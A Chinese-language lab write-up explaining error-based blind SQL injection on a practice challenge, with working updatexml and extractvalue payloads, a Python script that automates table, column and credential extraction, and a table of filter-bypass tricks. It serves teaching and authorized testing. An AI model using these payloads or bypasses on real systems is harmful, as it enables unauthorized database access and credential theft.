ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

报错盲注实战解析:从SQL注入闭合判断到数据提取

报错盲注实战解析:从SQL注入闭合判断到数据提取

第一次在某个众测平台的靶场题单里看到第53题时,页面上只有一个ID参数。输入1、2、3都有正常返回,输入4、5、6直接提示无数据。功能越简单,越让人觉得可疑——这几乎就是SQL注入的标准开局。再看题目标注“报错盲注”,心里的方向就明确了:这道题考的不是联合查询,也不是普通的布尔盲注,而是如何在页面不给你查询结果、却把SQL报错原样喷出来的场景里,顺着数据库错误信息把数据一点一点挖出来。

我建议刚接触SQL注入没太久、又被各种盲注判断绕晕的读者,认真把这道题从头走一遍。因为“报错盲注”是盲注类型里性价比相当高的一种:比起布尔盲注那边一屏一屏刷真/假判断,它一次能回显一小段真实数据,手工调试和脚本提取都快很多。搞清楚它,你后面去读各类靶场和真实授权测试中的SQL注入时,都会多一条高效的解题路线。

1. 题目背景与核心思路

1.1 报错盲注和其他几种SQL注入怎么区分

先理清一个概念:盲注的核心在于“没有查询结果回显”。常规注入能用联合查询把数据打到页面上,是因为后端代码把查询结果逐行输出了;一旦页面只告诉你有数据还是没有数据,或者干脆只报错,你就得换信息通道。

常见的盲注思路有四条:布尔盲注靠页面真假变化逐字符猜测;时间盲注靠sleep延迟判断真假,适合连报错都不显示的场景;联合查询需要页面上有明确回显位;而报错盲注则是利用数据库本身的异常提示,把你要的数据拼进错误信息里带出来。

这几种方式各有适用条件,简单对比如下。

注入类型信息通道提取效率依赖条件
联合查询页面结果回显区高,直接输出多行页面必须有回显位
布尔盲注页面真/假变化低,逐字符二分猜条件反馈稳定可区分
时间盲注响应延迟时间低,同样逐字符猜数据库能执行延时函数
报错盲注数据库错误信息较高,一次一小段错误信息能回显,数据库版本支持

报错盲注有一个天然优势:它在“搭上一条SQL语句”之后,可以直接把查询结果作为报错内容的一部分返回,相当于把原本只能猜的通道,升级成能直接读一小段数据的通道。所以只要后端没有屏蔽错误输出,我通常第一时间先试报错函数,而不是老老实实去猜布尔。

1.2 这道题该从哪里下手:信息预判与工具准备

第53题看起来很简单,参数就是id,但它的后端大概率是把用户输入拼接到了SQL查询的字符串里面。比如类似$sql = "select * from users where id = '$id'"这样的写法。这类题目不会把查询结果直接展示,但一定会把数据库抛出的错误信息输出到页面上,这样才能构成“报错盲注”的练习场景。

我刷这类靶场题目之前,会先把工具准备好:浏览器用的是Burp Suite的代理模式,方便直接改参数发包、看原始响应,不会因为浏览器转义而漏掉关键报错;终端里准备一个MySQL客户端或在线数据库环境,用来验证函数语法;再加上一个简单的Python requests脚本,用来做半自动提取,避免手工对大量数据逐条复制。

另外,做报错盲注之前要对information_schema这个系统库很熟。因为报错盲注一次能带回的内容有限,你不能像联合查询那样一次性group_concat所有表名,而是要走“库名→表名→字段名→字段值”的枚举链路。后面你会看到,信息收集的顺序安排好了,后半程能少踩很多坑。

2. 报错盲注的原理细节与判断流程

2.1 闭合关系判断:先让数据库“开口说话”

报错盲注的第一步并不是立刻上updatexml,而是先确定注入点到底是怎么闭合的。这里的“闭合”指的是后台SQL语句里,我们插入的输入处于什么位置。常见的有单引号闭合、双引号闭合、带括号的闭合,比如'$id'、"$id"、('$id')这类写法。

判断方法非常朴素:先提交一个单引号。如果页面出现SQL语法错误,说明单引号被直接拼进了SQL语句,破坏了原有结构。然后再提交1' --+,如果页面恢复正常,就基本可以肯定后台用的是单引号闭合,--+在URL里经过URL解码后等于--,是MySQL的注释符,它把后面多余的引号注释掉了。

更完整的验证是看条件真假的差异:1' and 1=1 --+应当返回正常数据,1' and 1=2 --+应当返回空页面或报错。两个结果有差异,说明我们插入的条件确实参与了SQL执行。如果单引号闭合测试不成立,就再依次试1" --+、1') --+、1')) --+,总有一款能对齐后台的拼接方式。

这一步之所以重要,是因为报错盲注的payload很长,如果闭合关系判断错了,后面所有函数都会因为SQL语法问题而无法执行,你还以为是函数不行,实际上只是少了一个括号或闭合引号。

2.2 updatexml、extractvalue、floor三个报错函数怎么选

确认闭合之后,就可以挑一个报错函数来提取数据了。我在MySQL环境中常用的报错手段有三个:updatexml、extractvalue,以及floor(count(*)+rand(0)*2)配合group by的报错。它们说到底是同一个思路:触发数据库的异常处理机制,再把包含数据的表达式放进异常信息里。

updatexml和extractvalue比较好理解。updatexml有三个参数,分别是目标XML文档、路径和更新的内容;extractvalue有两个参数,是目标文档和路径。当我们把第二个参数构造成一个非法XPath表达式时,MySQL会抛出XPATH syntax error,并把解析失败的那个字符串原样显示出来。如果我们在这个位置拼接concat(0x7e,(select database()),0x7e),那么错误信息里就会带着我们想查的内容。

floor报错则是利用了一次经典的主键冲突Bug。当rand(0)、count(*)、group by组合在一起时,MySQL在临时表处理过程中可能对同一个group by键值碰撞,触发Duplicate entry错误。这个错误同样会把表达式内容显示出来,但它的可见性和稳定性比updatexml差不少。

报错函数报错关键字一次回显长度稳定性适用版本
updatexmlXPATH syntax error约32字符稳定MySQL 5.1.5以上
extractvalueXPATH syntax error约32字符稳定MySQL 5.1以上
floor(count() + rand(0)*2) group byDuplicate entry约32至64字符可能随机失效MySQL 5.x

日常刷题我优先用updatexml,因为它对payload的控制最直观,回显格式也干净。如果遇到WAF对updatexml做了特征拦截,就换extractvalue;两个都被针对时,再用floor报错。这里有个基础前提要记住:不是所有版本都内置这些函数。如果对方用的是老版本MySQL或者部分分支数据库,报错关键字和函数存在性都要重新确认,看到回显是XPATH syntax error时,基本可以放心继续。

2.3 为什么payload里都带0x7e:报错回显的包装逻辑

一个标准报错payload长这样:

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

很多人不理解为什么中间要包一层0x7e。其实0x7e是十六进制表示的字符~。XPath在解析路径时,~不是一个合法的路径符号,所以把它和查询结果拼接后,数据库一定会报XPATH syntax error,同时把完整的拼串打出来。这样你既得到了一个错误触发点,又得到了被~夹在中间的真实数据,回显里一眼就能看到类似XPATH syntax error: '~security~'这样的内容。

如果你不拼接非法字符,直接传一个合法路径,数据库可能不报错,那回显通道就打不开。常见的包装字符还可以用0x23也就是#,但在URL里#会被浏览器当成锚点处理,在线请求时需要额外编码,不如0x7e省事。

另外要特别留意updatexml的第二个参数。payload里如果还要写额外的select子句,必须给子查询加一层括号,比如(select database()),否则MySQL会把整个表达式解析成一长串路径,语法对不上,报错信息里也拿不到数据。这个括号通常是新手最容易漏掉的细节。

3. 第53题全流程实操:从注入点到字段数据

3.1 确认注入点与闭合方式

我在靶场环境里实际走了一遍,第一步自然是按上面的方法测试闭合。靶场环境是明确授权的练习系统,我只改了id参数,观察到的过程如下。

GET /sqli53.php?id=1' -> 页面出现SQL语法错误,提示near ''' GET /sqli53.php?id=1' --+ -> 页面正常显示 GET /sqli53.php?id=1' and 1=1 --+ -> 页面正常显示 GET /sqli53.php?id=1' and 1=2 --+ -> 页面提示无数据

这组结果可以确认两个事实:第一,输入位置是单引号闭合;第二,and 1=1和and 1=2的页面响应有明确差异,说明参数确实进入了SQL逻辑,注入点成立。确认闭合之后,后面的所有payload都直接套用1' and 报错函数 --+这个模板,不用再反复试。

拿到闭合关系之后,先别急着提数据,我习惯先做一次函数可用性探测,提交一个最简单的updatexml表达式,看页面是否真的输出XPATH syntax error。如果这一步就失败,可能是数据库版本不支持,也可能是后端对错误输出做了处理,早发现早换方案,好过后面数据查一半才发现函数根本不可用。

3.2 先拿版本、库名、表名

注入点确认之后,按顺序收集元数据。先用version()和database()确认环境:

-- 获取数据库版本 id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)--+ -- 获取当前数据库名 id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

靶场这台环境返回的是MySQL 5.7系列,库名是security,说明updatexml天然可用。接下来枚举当前库里的表。最直接的是用group_concat把表名拼接起来,但第53题的报错回显会被截断,一次只能看一小段,所以最好写成一个带偏移量的limit查询,一次拿一条:

-- 取第一张表 id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+ -- 取第二张表 id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)--+

通过调整limit后面的第一个数字,把所有表名都拉出来。这一步我一般用脚本循环处理,手工复制很容易眼花,而且每次报错结果可能因为响应截断而对不齐。

3.3 单行回显限制下的字段与数据提取

找到目标表之后,用同样的方式拉字段名。假设目标表是users:

-- 尝试一次性列出所有字段,如果被截断就加limit id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+ -- 更稳妥的单字段提取 id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+

字段枚举出来后,通常就能看到username、password这类目标字段。真正的数据提取阶段,要注意updatexml回显只有大约32字符的问题。如果某条记录里放的是用户名加密码一长串,拼出来很容易超出32字符被截断。这时候就要用substr分片读取:

-- 取第一条记录的用户名字段前16个字符 id=1' and updatexml(1,concat(0x7e,substr((select username from users limit 0,1),1,16),0x7e),1)--+ -- 接着取第17到32个字符 id=1' and updatexml(1,concat(0x7e,substr((select username from users limit 0,1),17,16),0x7e),1)--+

十六个十六个读,最后把所有片段拼起来,就是完整字段值。多用几次熟悉这个分片模式,后续不管数据多长都能搞定。报错盲注一次虽然只能读一小段,但比布尔盲注一个字符一个字符猜已经舒服太多了。

3.4 用脚本把手工操作自动化

数据多的时候,手工复制实在太慢,我在第53题的练习中写了一个很小的Python脚本,用来循环提取表名、字段名和数据。脚本核心思路很简单:把payload组合成URL请求,发送后用正则从XPATH syntax error: '~...~'里提取数据,再按照偏移量循环。

# -*- coding: utf-8 -*- # 仅供已获授权的靶场环境测试使用,请勿在其他系统上运行 import requests import re import time URL = "http://my-lab/sqli53.php" HEADERS = {"User-Agent": "Mozilla/5.0"} def get_echo(payload): params = {"id": payload} resp = requests.get(URL, params=params, headers=HEADERS, timeout=10) m = re.search(r"XPATH syntax error: '~(.*?)~'", resp.text, re.S) return m.group(1) if m else "" # 循环枚举当前库下的所有表名 db_name = "security" # 由前一步 database() 获得 for i in range(30): sql = f"select table_name from information_schema.tables where table_schema='{db_name}' limit {i},1" payload = f"1' and updatexml(1,concat(0x7e,({sql}),0x7e),1)--+" table = get_echo(payload) if not table: break print(i, table) time.sleep(0.3)

拿到表名之后,把column_name的枚举循环再写一遍,最后对具体字段做分片读取。脚本里我习惯加一点点time.sleep,避免请求频率过高,既保护靶场环境,也让调试时能看清每一条请求的状态。

写脚本的时候有个容易被忽略的细节:正则和报错内容要精确匹配。如果页面里有多条报错,或者报错被HTML标签包裹,正则没写好就抓不到数据。我的做法是先手工用浏览器打开一条payload,确认响应文本里报错格式长什么样,再去写正则,比盲目猜正则省时间。

4. 常见问题与排查技巧实录

4.1 报错内容被截断、显示不全怎么办

报错盲注最常见的坑就是32字符截断。updatexml和extractvalue在报错时,错误信息最多只能回显一段很短的字符串,超出的部分直接丢失。这会导致一个现象:明明库名表名都对,查到很长的字段值时却只看到一半,甚至只看到开头几个字符。

解决办法就是分片。用substr(目标字段,起始位置,长度)把长内容切成16个字符一段,每次只取一段,最后把多段拼起来。为什么取16而不是32?因为回显内容还要包含两端的~,如果一把取满32字符,拼接后反而可能被截断,留一点余量更稳妥。

我最初刷这个题的时候,曾经因为group_concat一次性拼了太多表名,结果回显到第31个字符就断了,直接导致我漏掉了一张表。后来改成limit逐条枚举,问题立刻消失。如果你发现报错内容总觉得少了一截,先别怀疑注入有问题,优先考虑是不是长度限制。

4.2 报错函数被过滤时的替换思路

部分靶场题目会故意加一些过滤规则,把updatexml、extractvalue、select、information_schema这类词做简单拦截。此时先不要慌,常见的替换手法能解决大部分问题。

被过滤内容替换思路示例
空格用注释符号或换行代替id=1'/**/and/**/updatexml(...)
逗号改写函数语法或用offsetlimit 1 offset 0代替limit 0,1;substr(s from 1 for 16)代替substr(s,1,16)
关键字大小写大小写混写SeLeCt database()
注释符用闭合引号构造条件or '1'='1
关键函数被删双写绕过简单删除型过滤selselectect在过滤后变成select

这里要强调一下,双写只对“直接删除关键词”的过滤有效。如果后端直接用正则校验整段请求里不允许出现select,那么双写也会被拦,这时候就得看看能不能用别名、子查询、join这类方式绕过。不同靶场的过滤力度不同,先提交一条完整payload看返回差异,再决定用哪种替换方案。

4.3 明明能报错却读不到数据:几个隐蔽细节

有一种情况很让人头疼:提交updatexml的payload时页面确实报了XPATH syntax error,但错误信息里没有我们想查的库名、表名或字段值。我排查下来,常见原因有几个。

第一,表名大小写问题。MySQL在Linux环境下表名是大小写敏感的,查Users和查users结果完全不一样。从information_schema里枚举出来的表名是什么大小写,后续查询就原样使用,不要凭感觉改。

第二,子查询没加括号。updatexml(1,concat(0x7e,select database(),0x7e),1)这种写法在MySQL里会直接报语法错误,必须写成(select database())。报错内容看起来像是函数没生效,其实是子查询的括号问题。

第三,界面显示掩盖了报错。前端页面可能把部分错误内容截断了,但原始响应包里是完整的。用浏览器F12或Burp看响应体,别只看页面上红色字体那一小块。盲注排查这东西,宁可多看一眼原始响应,也别在渲染页面上浪费时间。

第四,数据库分支差异。部分分支数据库对XPATH报错的支持不同,报错关键字也可能不是XPATH syntax error。遇到这种情况,我会先确认一眼version()结果,再决定要不要换floor报错或其他函数。

4.4 靶场环境下的测试边界与规范

这一条虽然不是技术内容,但比任何payload都重要。报错盲注是直接在数据库查询过程中触发异常,然后把数据带出来,这类操作如果在未经授权的系统上做,风险非常高。我在这个靶场里之所以敢放心跑脚本,是因为平台环境本身就是为了练手目的搭建,所有流量和操作都在授权备案的前提下进行。

在外面做授权测试时,我也会遵守几条基本习惯:只动测试范围里明确写明的目标,不把IP段、库表结构、脱敏后的数据直接贴到公开讨论区;整理报告时把真实库名、账号字段和响应信息做打码处理;遇到不确定的过滤规则,先手工确认再跑脚本,避免盲目扫描引发连锁反应。网络安全测试的边界感不是限制技术能力,反而是长期积累实践经验的基本前提。

另外,靶场练习时也要有记录习惯。每发一条关键payload,至少在本地保留一份原始响应,这样既能复盘自己的判断过程,也能在调试时对比“哪一步开始出现偏差”。我一般是按时间命名保存响应包,直到题目完全解完再统一清理。

最后一点小经验

第53题刷完之后,我最大的体会是:报错盲注解题很像搭流水线。判断闭合关系是第一道工序,确认报错函数是第二道,枚举库表字段是第三道,最后才是分片读取数据。任何一道工序没做扎实,后面的数据都是空转。尤其是枚举这一步,越到后期越不能图快,宁可多花一分钟把表名字段名列表拉全,也不要跳过去直接猜,否则你会发现后续查询全都对不上号。

还有一个很实用的习惯想分享给你:遇到带括号的闭合时,把')和'))这两种形态也提前放进测试清单,因为很多后台SQL会把参数嵌在函数的括号里。我见过不少朋友卡在报错盲注半小时,最后发现只是少试了一个右括号。先手工把闭合试完整,再自动化跑数据,整个流程会顺畅很多。

这套方法不只适用于第53题,也适用于所有依赖数据库错误信息回显的场景。等你把updatexml、extractvalue和substr分片这几个工具用熟了,再遇到报错盲注类题目,基本就是走流程拿数据,不会再被“盲”字吓住了。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进